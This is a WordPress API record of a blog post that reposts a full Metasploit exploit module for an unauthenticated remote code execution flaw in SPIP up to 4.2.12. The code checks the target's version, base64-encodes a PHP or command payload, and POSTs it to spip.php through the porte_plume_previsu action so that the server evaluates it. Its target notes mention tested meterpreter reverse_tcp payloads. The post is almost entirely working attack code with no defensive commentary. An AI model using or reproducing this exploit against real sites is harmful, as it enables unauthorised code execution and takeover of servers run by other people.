{"id":59087,"date":"2024-08-22T18:50:09","date_gmt":"2024-08-22T15:50:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180333\/spip_porte_plume_previsu_rce.rb.txt"},"modified":"2024-08-22T18:50:09","modified_gmt":"2024-08-22T15:50:09","slug":"spip-4-2-12-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/spip-4-2-12-remote-code-execution\/","title":{"rendered":"SPIP 4.2.12 Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Payload::Php<br \/>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;SPIP Unauthenticated RCE via porte_plume Plugin&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.<br \/>The vulnerability occurs in SPIP\u2019s templating system where it incorrectly handles user-supplied input,<br \/>allowing an attacker to inject and execute arbitrary PHP code. This can be achieved by crafting a<br \/>payload manipulating the templating data processed by the `echappe_retour()` function, invoking<br \/>`traitements_previsu_php_modeles_eval()`, which contains an `eval()` call.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Valentin Lobstein&#8217;, # Metasploit module author<br \/>&#8216;Laluka&#8217;, # Vulnerability discovery<br \/>&#8216;Julien Voisin&#8217; # Review<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/blog.spip.net\/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/thinkloveshare.com\/hacking\/spip_preauth_rce_2024_part_1_the_feather&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;php&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP In-Memory&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP<br \/># tested with php\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Unix\/Linux Command Shell&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command Shell&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-08-16&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def check<br \/>uri = normalize_uri(target_uri.path, &#8216;spip.php&#8217;)<br \/>res = send_request_cgi({ &#8216;uri&#8217; =&gt; uri.to_s })<\/p>\n<p>return Exploit::CheckCode::Unknown(&#8216;Target is unreachable.&#8217;) unless res<br \/>return Exploit::CheckCode::Unknown(&#8220;Target responded with unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p>version_string = res.get_html_document.at(&#8216;head\/meta[@name=&#8221;generator&#8221;]\/@content&#8217;)&amp;.text<br \/>return Exploit::CheckCode::Unknown(&#8216;Unable to find the version string on the page: spip.php&#8217;) unless version_string =~ \/SPIP (.*)\/<\/p>\n<p>version = ::Regexp.last_match(1)<\/p>\n<p>if version.nil? &amp;&amp; res.headers[&#8216;Composed-By&#8217;] =~ \/SPIP (.*) @\/<br \/>version = ::Regexp.last_match(1)<br \/>end<\/p>\n<p>return Exploit::CheckCode::Unknown(&#8216;Unable to determine the version of SPIP&#8217;) unless version<\/p>\n<p>print_status(&#8220;SPIP Version detected: #{version}&#8221;)<\/p>\n<p>if Rex::Version.new(version) &gt; Rex::Version.new(&#8216;4.2.12&#8217;)<br \/>return CheckCode::Safe(&#8220;The detected SPIP version (#{version}) is not vulnerable.&#8221;)<br \/>end<\/p>\n<p>return CheckCode::Appears(&#8220;The detected SPIP version (#{version}) is vulnerable.&#8221;)<br \/>end<\/p>\n<p>def php_exec_cmd(encoded_payload)<br \/>dis = &#8216;$&#8217; + Rex::Text.rand_text_alpha(rand(4..7))<br \/>encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)<br \/>shell = &lt;&lt;-END_OF_PHP_CODE<br \/>#{php_preamble(disabled_varname: dis)}<br \/>$c = base64_decode(&#8220;#{encoded_clean_payload}&#8221;);<br \/>#{php_system_block(cmd_varname: &#8216;$c&#8217;, disabled_varname: dis)}<br \/>END_OF_PHP_CODE<br \/>return shell<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8216;Preparing to send exploit payload to the target&#8230;&#8217;)<br \/>phped_payload = target[&#8216;Arch&#8217;] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)<br \/>b64_payload = framework.encoders.create(&#8216;php\/base64&#8217;).encode(phped_payload)<br \/>payload = &#8220;[&lt;img#{Rex::Text.rand_text_numeric(8)}&gt;-&gt;URL`&lt;?php #{b64_payload} ?&gt;`]&#8221;<\/p>\n<p>print_status(&#8216;Sending exploit payload to the target&#8230;&#8217;)<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;spip.php&#8217;),<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;porte_plume_previsu&#8217;<br \/>},<br \/>&#8216;data&#8217; =&gt; &#8220;data=#{payload}&#8221;<br \/>})<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Payload::Phpinclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;SPIP Unauthenticated RCE via porte_plume Plugin&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.The vulnerability occurs in SPIP\u2019s templating system where it &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59087","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59087","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59087"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59087\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59087"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59087"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59087"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}